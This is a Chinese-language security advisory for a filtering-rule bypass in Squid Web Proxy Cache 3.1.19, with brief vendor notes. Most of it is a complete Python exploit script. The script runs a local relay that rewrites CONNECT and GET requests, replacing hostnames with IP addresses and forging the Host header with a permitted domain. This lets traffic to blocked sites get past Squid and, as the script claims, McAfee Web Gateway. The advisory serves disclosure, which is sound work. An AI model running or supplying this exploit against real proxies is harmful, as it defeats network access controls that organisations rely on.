发布日期：2012-04-16
更新日期：2012-04-17

受影响系统：

Squid Web Proxy Cache 3.1.19

描述：

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BUGTRAQ  ID: 53024

Squid是一个高效的Web缓存及代理程序，最初是为Unix平台开发的，现在也被移植到Linux和大多数的Unix类系统中，最新的Squid可以运行在Windows平台下。

Squid Proxy在过滤规则的实现上存在安全漏洞，成功攻击可允许攻击者绕过某些安全限制。

<*来源：Gabriel Menezes Nunes （gab.mnunes@gmail.com）
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Gabriel Menezes Nunes （gab.mnunes@gmail.com）提供了如下测试方法：

import socket,struct,sys,time
from threading import Thread


#The timeOut can be changed if the proxy is slow.
#Tested in GMail, Facebook, Youtube and several blocked sites.
#The proxy get the Host field of the http header and do not verify anything else.
#It trusts on the HTTP Header and it can be modified by the attacker.

timeOut = 0.8
isGet = 0
hostNameG = ""
pacoteGet = ""
port = 8080 #Listening port
proxyAddr = "vulnerableProxy.com" #vulnerable proxy
proxyPort = 8080 # proxy port

def handle(client,globalSock):
    
    client.settimeout(timeOut)
    
    global hostNameG
    

    while 1:
        
        dados = ""
        tam = 0
        while 1:
                        try:
                                dados2 = client.recv(1024)
                                tam = tam + len(dados2)
                                dados = dados + dados2
                        except socket.timeout:
                              
                                break

        
        dd = dados.find("CONNECT") #if the packet is a CONNECT METHOD
        if dd != -1:
          dd2 = dados.find(":")
          hostName = dados[dd+8:dd2]
          
          ipAddr = socket.gethostbyname(hostName) #changing the method to connect to the ip address, not the dns domain
          pacote = dados
          hostHeader = "Host: " + hostName
          pacote = pacote.replace(hostHeader, "Host: www.uol.com.br") #changing the host field with a value that is accepted by the proxy
          pacote = pacote.replace(hostName, ipAddr) #changind domain for ip
          
          
          
          dados = pacote
        
        getd = dados.find("GET ")
        getd2 = dados.find("//")
        getd3 = dados.find("/", getd2+2)
        hostName = dados[getd2+2:getd3]
        
        
        if getd != -1:
          globalSock.close()
          globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          globalSock.connect((proxyAddr,proxyPort))
          globalSock.settimeout(timeOut)
          getd2 = dados.find("//")
          getd3 = dados.find("/", getd2+2)
          
          hostName = dados[getd2+2:getd3]
          
          proxyAuth = ""
          proxyAuthN = dados.find("Proxy-Authorization:")
          if proxyAuthN != -1:
            proxyAuthNN = dados.find("\r\n", proxyAuthN)
            proxyAuth = dados[proxyAuthN:proxyAuthNN]
            
            
          ipAddr = socket.gethostbyname(hostName)
          
          info = "CONNECT " + ipAddr + ":80 HTTP/1.1\r\n"
          if proxyAuthN != -1:
            info += proxyAuth + "\r\n"
          
          info += "Host: www.uol.com.br\r\n\r\n"
          
          globalSock.send(info)
          tam = 0
          gdata = ""
          
          while 1:
            try:
                
                gdata2 = globalSock.recv(1024)
                
                tam = tam + len(gdata2)
                gdata = gdata + gdata2
                
                if len(gdata2) == 0:
                    break
                
                
            except socket.timeout:
                
                break
          
        
        
          
        
        globalSock.send(dados)
        tam = 0
        gdata = ""
        
        while 1:
            try:
                
                gdata2 = globalSock.recv(1024)
                
                if len(gdata2) > 0:
                    client.send(gdata2)
                
                tam = tam + len(gdata2)
                gdata = gdata + gdata2
                
                if len(gdata2) == 0:
                    break
                
                
            except socket.timeout:
                
                break
        
        


print 'Proxy Bypass'
print 'by Gabriel Menezes Nunes'
print 'Tested on McAfee Web Gateway 7 and Squid Proxy'
sockzao = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Attacked Proxy:',
print proxyAddr
print 'Listening on',
print port
sockzao.bind(("",port))

sockzao.listen(6)

while 1:
    print 'Waiting for connections'
    client, address = sockzao.accept()
    print 'Client Connected'
    print address
    globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    globalSock.connect((proxyAddr,proxyPort))
    globalSock.settimeout(timeOut)

    t = Thread(target=handle, args=(client,globalSock,))
    t.start()

建议：

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厂商补丁：

Squid
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目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.squid-cache.org

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